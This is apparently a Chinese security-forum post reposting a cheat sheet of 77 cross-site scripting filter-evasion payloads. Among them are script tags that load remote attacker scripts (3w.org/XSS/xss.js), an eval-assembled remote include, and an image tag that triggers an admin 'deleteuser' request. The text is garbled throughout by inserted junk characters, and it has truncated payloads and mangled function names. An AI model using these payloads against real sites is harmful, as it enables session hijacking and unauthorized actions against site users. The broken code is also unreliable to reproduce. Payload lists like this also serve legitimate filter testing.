貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
. ]: [5 g( b5 x$ h8 T& f0 T* f
9 j4 `" {& R% U (1)普通的XSS JavaScript注入+ E( Q+ T; M( H8 D
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
c% Q$ T2 f: U1 _. q" N
; F3 x9 B, B' S. M% j% l6 U1 |; {; E (2)IMG标签XSS使用JavaScript命令
5 S! s2 E! k7 k- ~ <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>) Y' f+ {9 h7 r5 p5 B" k
: A) q& ^! o6 C! y. t
(3)IMG标签无分号无引号
$ r* B# _" {1 @$ d" a3 P <IMG SRC=javascript:alert(‘XSS’)>
+ |0 [! F* j; @* r7 B7 y; s" \: K9 ?3 p, }/ w6 w/ E
(4)IMG标签大小写不敏感
" \% H* W T B <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
, g2 m/ D }/ s* u- f; j6 f# V9 s1 Y; y% t$ R
(5)HTML编码(必须有分号)& p3 W7 l6 A! M, W3 o; n% l
<IMG SRC=javascript:alert(“XSS”)>
2 \0 I7 T' a" }* j9 [* k& C- S. E$ B2 @3 n3 u
(6)修正缺陷IMG标签
, W4 I5 f8 }9 N Q! k <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
- c1 E4 d6 a5 |: T* _& H& I* X3 x7 k' a8 o. ^' q
(7)formCharCode标签(计算器)
3 C( M1 S$ G' P b9 L <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
( x% u$ X4 D5 j6 D" X- O0 y5 P, g4 M+ ^' q8 |8 ?/ H
(8)UTF-8的Unicode编码(计算器)
: e/ K9 a+ P Z/ a2 ]! a# d2 f <IMG SRC=jav..省略..S')>
# S! V r' D) Q5 W. Q/ h8 x. D1 e
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
, d& |3 R1 s" q <IMG SRC=jav..省略..S')>% z1 W0 e8 t$ R$ f# b' R- w0 ]
2 G% i5 R" `- G2 d' u (10)十六进制编码也是没有分号(计算器)" |1 E+ F9 U$ n: @ L! v+ m4 c
<IMG SRC=java..省略..XSS')>
+ b* J4 s! f" m7 v$ T. K5 l; T
" H1 D& X4 A0 g, z% a3 F (11)嵌入式标签,将Javascript分开
6 e" J* V# l$ a% |# L. S <IMG SRC=”jav ascript:alert(‘XSS’);”>9 X- J8 ]1 y1 f' _6 q. V5 I
& T! T2 ~5 n' z" p, A. h1 z' i. j) S (12)嵌入式编码标签,将Javascript分开
% f q* \1 M% V( C5 ` <IMG SRC=”jav ascript:alert(‘XSS’);”>, `/ }: y: Y) \4 w, d9 L Z, ^
& W" @$ g' |8 e (13)嵌入式换行符
' X* A- W' ^; q) @% T' z2 ^ <IMG SRC=”jav ascript:alert(‘XSS’);”>8 |, W' W$ I3 a: U4 J4 r
9 u/ l# \9 ~& ], o) J (14)嵌入式回车 h& X4 L) c( X6 C, V: O
<IMG SRC=”jav ascript:alert(‘XSS’);”>" _3 m3 m5 D ^5 ?
+ x5 e1 l/ ]. S, f% X
(15)嵌入式多行注入JavaScript,这是XSS极端的例子; \% k) N, J0 H: ~( r7 |
<IMG SRC=”javascript:alert(‘XSS‘)”>
5 j9 U' ?( |) Z. v' I) x7 L, a% Q* A6 Y1 ?5 E& _
(16)解决限制字符(要求同页面)" x' L6 \7 A7 J0 e a. G
<script>z=’document.’</script>
! M O: w( I6 W6 k$ E <script>z=z+’write(“‘</script>
8 Y2 J; K$ W7 K4 `3 b# C. z1 e <script>z=z+’<script’</script>' \. X5 B; i; z5 Q" [2 f
<script>z=z+’ src=ht’</script>$ T. T* B9 e" ^" f- u- D
<script>z=z+’tp://ww’</script>0 @) J# [. \2 i5 T1 W- j" x) e
<script>z=z+’w.shell’</script>; o$ q3 U3 j1 v& E! w h" D
<script>z=z+’.net/1.’</script>
, @, d. Q# y" @' | <script>z=z+’js></sc’</script>0 x2 @ n& Q X0 _; o8 _
<script>z=z+’ript>”)’</script>
9 Y/ h- F# T' R! H" {8 l: e <script>eval_r(z)</script>2 a2 P3 Q' v5 ]+ D# h
& s0 k+ w# ^9 s (17)空字符! ]$ y( [2 @ C. ], Q
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
( ~( o- D- U% T) K2 m
* r9 b& c g: l/ Z5 z: @ (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
# F+ g0 K$ _+ \ perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out& V% w: D% M7 W/ o
_4 m) a0 q. u( s Z7 W, c (19)Spaces和meta前的IMG标签
& k) F+ H7 n2 p5 o' c. q7 z6 q <IMG SRC=” javascript:alert(‘XSS’);”>; u) A9 J) T6 `, S8 `4 R
6 Z9 S$ }. ^5 D) [, Q- I6 {
(20)Non-alpha-non-digit XSS
& W* S- X3 x E0 T <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>* R/ S! n6 m* n! A
) P7 k1 _/ f! f( b
(21)Non-alpha-non-digit XSS to 2! i# P5 z8 w C( k7 P9 R8 z
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
, m9 B4 {9 r$ b" h# ]. H* f
4 I0 Z [, J) j y1 d (22)Non-alpha-non-digit XSS to 3
2 k- Y. i8 _0 `6 w <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
0 h, Z5 R' ~1 x& C( O% S9 i I* X& y) z3 g/ `. U! R A
(23)双开括号
Z6 V# D+ }) R- [- b1 l <<SCRIPT>alert(“XSS”);//<</SCRIPT>& ?6 m# m/ m2 L+ h8 C" a' g, ~
, p. y9 Y3 a6 w0 _7 i3 N" k0 _
(24)无结束脚本标记(仅火狐等浏览器)% z& K s0 ?; i: n- d N- |
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>/ ^# q/ t ]8 y1 [6 ?
/ t. P+ L$ `$ f+ p) ]
(25)无结束脚本标记2
2 x' L4 U' b& K( A6 g4 r& X; P( h <SCRIPT SRC=//3w.org/XSS/xss.js>
( x, a, R6 ~" z
/ \/ f& u; G& ? (26)半开的HTML/JavaScript XSS
% E) E2 f2 H+ ?9 ?2 ?! H <IMG SRC=”javascript:alert(‘XSS’)”
8 B$ z- A* J8 a6 z+ Q+ w+ K$ p
0 t8 k' L/ L0 g, e; f; ~ (27)双开角括号
5 w0 C( V1 s8 Z7 J7 p* R5 L2 h4 E4 z: c <iframe src=http://3w.org/XSS.html <! g, y! Z& [/ z
3 L+ F0 n2 K/ Q: b6 W" b (28)无单引号 双引号 分号
; Z9 @. }/ l! u) C9 g. B1 _4 E/ o <SCRIPT>a=/XSS/9 [" Q% q* n. g8 p
alert(a.source)</SCRIPT>. E, u$ }: c6 A& k# S5 x
$ v) l7 n6 K) e7 C+ | (29)换码过滤的JavaScript
- T+ y0 P- H; T. ^ \”;alert(‘XSS’);//0 w! D! e/ @, q/ R9 d
+ E! N/ B: ]) ?* A# ~" R w* b% j g
(30)结束Title标签
" l( y7 s v+ U; y% Z0 l </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
4 q+ v" X; R' U# ]& X) `. X% |9 @2 {* k: p2 f
(31)Input Image
0 r- v( f7 v5 l# [0 b2 @ <INPUT SRC=”javascript:alert(‘XSS’);”>
* T) _% c6 s5 i7 G( ?" H+ P9 Y
. h0 L! r: x9 B/ [2 e7 Z (32)BODY Image- s! I8 m% L$ j- a& z8 c+ H' Y
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>8 K4 e2 D, r5 O* b
. N' L& |. G9 t6 K0 K3 m (33)BODY标签
+ D0 C5 f& u7 D- [7 K% F <BODY(‘XSS’)>
) F! b1 s8 g( w: p6 } E# l$ d- J$ e4 u2 [" i; L
(34)IMG Dynsrc
; x5 w# c+ n- V( k5 P5 v <IMG DYNSRC=”javascript:alert(‘XSS’)”>- O; r0 S( G J2 J9 C
3 m' Y7 r7 P! c5 C& a
(35)IMG Lowsrc. f8 d$ `1 |3 I1 Q9 L* g! n
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
6 Q% w) ^( k0 V/ t) I1 {9 N" K3 s; P
(36)BGSOUND
, D! U! l4 S }9 ~4 @- \ <BGSOUND SRC=”javascript:alert(‘XSS’);”>+ D2 u5 m7 d4 Y" a6 W; g' c
! V9 {4 H) E- _4 }* j( q1 S( |, V
(37)STYLE sheet5 h0 G) D! O: G
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>( L& j; H% ^4 [& A8 ?! a
1 u) ?, c4 J' h( M* z' k1 d9 O G# l
(38)远程样式表
g, Y/ w; V1 o <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
1 u, U4 k( S$ @3 ?1 m" h
7 H. E0 o' `5 A+ q (39)List-style-image(列表式)
/ i/ }/ l- w/ c <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
- ^% [ d, ~; ? P8 J3 _- K [/ A& [$ X ~" J$ H- U; {( x0 ~9 l4 u! e
(40)IMG VBscript
3 R: _" }3 _* A6 [, T <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS0 S- R9 ?5 K$ s; X( ?- y, Y( H% w" }
0 J0 P7 O9 K, b" t
(41)META链接url
9 X/ E( _2 _: L; f7 T# m. _ <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
$ v$ K; P. t( { X+ U, c" g0 t. y4 P% k9 s9 }9 [
(42)Iframe0 @- |. b- i& l! ~! f: ~
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
( H r& a) ]6 t; N1 U( T
2 [2 _: f2 \+ S' k* M) q8 v (43)Frame& F! W1 s5 p4 S8 ?6 C6 f' _
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>! ^0 E a9 \; n' j
3 h& ~- ]* S, X- U# z9 d
(44)Table3 y1 U" x! F2 t" m
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
P# x3 X- p- m! G6 \- v
# |% W+ K% w( v% v$ { (45)TD/ q2 S0 w: I; L6 l/ g( C
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
" i f$ p5 |; L' r7 {* f- B0 _4 S, X4 f& ]
(46)DIV background-image x: P) d3 U0 B* O
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>! s l) v' j$ e* k3 B3 Z: [& s
; m% `- _# H5 C8 p6 y8 \* v (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)$ {" |- P$ D1 P2 O* X s& O
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>! ^' p4 W4 e5 }
0 ?5 t+ o* }! J* H/ c2 W
(48)DIV expression1 L# `$ w; S! h# r" G* k' q c
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
8 G0 i7 j; k) I8 a8 E' _; l, `7 M5 R/ t: |" l1 j& D' i/ c
(49)STYLE属性分拆表达! I* k5 v7 y! m4 B! c. K# Q/ N5 U
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
0 a9 n8 K w: y9 X6 w
7 j- {2 E2 H m# K+ }8 J Y) d (50)匿名STYLE(组成:开角号和一个字母开头)' Y0 e( v% n4 D, N7 @( {% {5 g
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
/ p# L4 r# Q' Z7 X; m8 {
/ L% [& _5 h0 v% W2 T (51)STYLE background-image' e8 S9 e! C, V! I% g
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>: J% c( Q2 x, |; ]. F
! \7 E- G1 Q, d; n A- s
(52)IMG STYLE方式4 a- }: x$ N I2 t$ T8 {3 ?" e
exppression(alert(“XSS”))’>
& d' u5 l6 l& D& |+ w* o" T2 R; K# ~# }! T9 {. z1 Q* M$ S* _
(53)STYLE background; {5 T( b E _' z) W9 W+ m
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>; T* V0 q# U# T6 K# o
* p- J5 V! [" P. A- U (54)BASE
+ f) ]! m: j. V <BASE HREF=”javascript:alert(‘XSS’);//”>
4 W) I! E, M8 i) F0 F# K/ t) O) p# E
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS* f8 @6 D ?. u% X
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
. [) V, U+ A$ `( w9 N* Q
6 B1 b I" a, V. c- r: z (56)在flash中使用ActionScrpt可以混进你XSS的代码2 N( ]. j; p% s7 P. w' @
a=”get”;
2 m( N! i U/ W1 `3 ?9 F b=”URL(\”";
M/ ~6 @( n, p+ G6 O c=”javascript:”;
$ e$ l/ V% j4 z) S; h5 I0 H d=”alert(‘XSS’);\”)”;4 z3 c- S% Y- |$ x+ f2 f& v
eval_r(a+b+c+d);9 ~$ ]+ M- b% S: ]1 V
7 i, H1 U( m& F- r (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
( U' t* u) O3 e3 Q4 n) H! b- M& f3 n. N <HTML xmlns:xss>2 @. L! e) `$ p
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>8 w) y. o5 r8 _5 a! c; i5 o
<xss:xss>XSS</xss:xss>& n* ]" W5 \7 K4 M4 s! ^7 B. p/ [
</HTML>
8 o, e! _3 J. }5 L- l. ]/ s4 C0 l
/ {% ^/ I. i5 N (58)如果过滤了你的JS你可以在图片里添加JS代码来利用: Q; m( ]% p+ y/ v B% {( F# w
<SCRIPT SRC=””></SCRIPT>& P/ k, h U7 q) e/ D( ~
4 v6 O# V& X. }5 Q1 y+ H5 m( k/ e (59)IMG嵌入式命令,可执行任意命令+ B( [0 T& m# @0 e) Z& M! `
<IMG SRC=”http://www.XXX.com/a.php?a=b”>: p! L, x6 h2 t+ C. ?# n( Y
" _; C( |& v( e& Y3 n# L, V
(60)IMG嵌入式命令(a.jpg在同服务器)7 x' U1 B+ M% O+ L" X0 h1 O$ Q3 u
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser( m5 y: I0 l3 _
! \/ Z+ C% E& p* m* {
(61)绕符号过滤
0 \3 p" H& m0 q! @9 |, k <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>" S" v- u9 H( s) v6 p
7 Q, F# h! H- \ w4 q (62)$ x+ y4 E4 b5 B; F4 R* E& {9 O2 m
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>9 `+ r$ b3 ~3 O5 E( h. W6 W
( ]+ ^8 j3 L, Q* y$ W) B& A6 W) z- Y
(63)
8 k4 X: U N& y9 D1 G& g <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>5 \0 F4 r+ z" L8 \6 u* S
7 {+ _. J: [1 H! h, S% e$ Y
(64), x2 J5 ]! _0 i; B0 L) v
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
, L5 E' L2 L3 \7 h: e" e
& f' l5 l& T; X (65)2 D$ q7 X; w) U% b) @3 ?
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
L% `7 n- F- Y& ~
7 H8 W& Q$ w" J9 ~8 f (66)7 g2 n1 P' q4 g
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
E. h7 e, R& A J- h# d1 G& m
- n6 r8 ]- j* R. I: X* u (67)
) |/ i& s9 [/ w+ e% @ <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
5 b; x e& u- z" m( [0 W! Z- i0 ?0 ^0 H2 q/ F3 d
(68)URL绕行0 `% }. W9 I' i4 r
<A HREF=”http://127.0.0.1/”>XSS</A>
/ f$ l' {3 D7 O- e) r, r- W: E# t" _; C% k3 K# k% q
(69)URL编码/ W6 e) r3 X7 y
<A HREF=”http://3w.org”>XSS</A>
l; Q* d8 F. |, U+ a+ N4 q
5 _3 f7 X, Y8 P* T6 i( h% f (70)IP十进制
% S( {; ^: H) F# k/ }7 y3 J <A HREF=”http://3232235521″>XSS</A>$ o+ e' h. \/ w$ K3 k' B
, \$ E: I; f8 F! b# f
(71)IP十六进制. [) ~. |8 z6 F0 l, O a* O9 D. T
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>8 }# R% w( M! ?8 n: J2 A
8 U6 j' T% m9 @" I' Q! w
(72)IP八进制% V4 S' P0 S! z
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
/ [+ H- D% y7 n! N) d4 f1 T9 ]6 @- T: l
(73)混合编码
/ K1 w6 T$ @! l' V% J6 w* S4 L1 X <A HREF=”h
, ]) c/ j0 M, `8 f' m1 q" E tt p://6 6.000146.0×7.147/”">XSS</A>
2 ~8 M, h. s. e! w3 w; @' z
6 I( k0 K+ P* w) S2 D( c! q (74)节省[http:]7 b' h) a; E* s8 M9 y: M
<A HREF=”//www.google.com/”>XSS</A>
, j; @6 C- K3 }+ Z/ S( D" E
& E( o7 A0 f2 y% U- `% } (75)节省[www], p. r$ K* q- y' x( X8 K# c6 ^
<A HREF=”http://google.com/”>XSS</A>
5 m, n e* r" e* s& J$ F
?) L! i+ [# p. ^& s (76)绝对点绝对DNS
* X. p% s U3 v; x( w <A HREF=”http://www.google.com./”>XSS</A>
" A6 \- ?9 W% _1 Y; A9 l' m4 g$ }$ [3 e3 M8 o5 r1 m3 |
(77)javascript链接) J& Z% q( O3 F
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |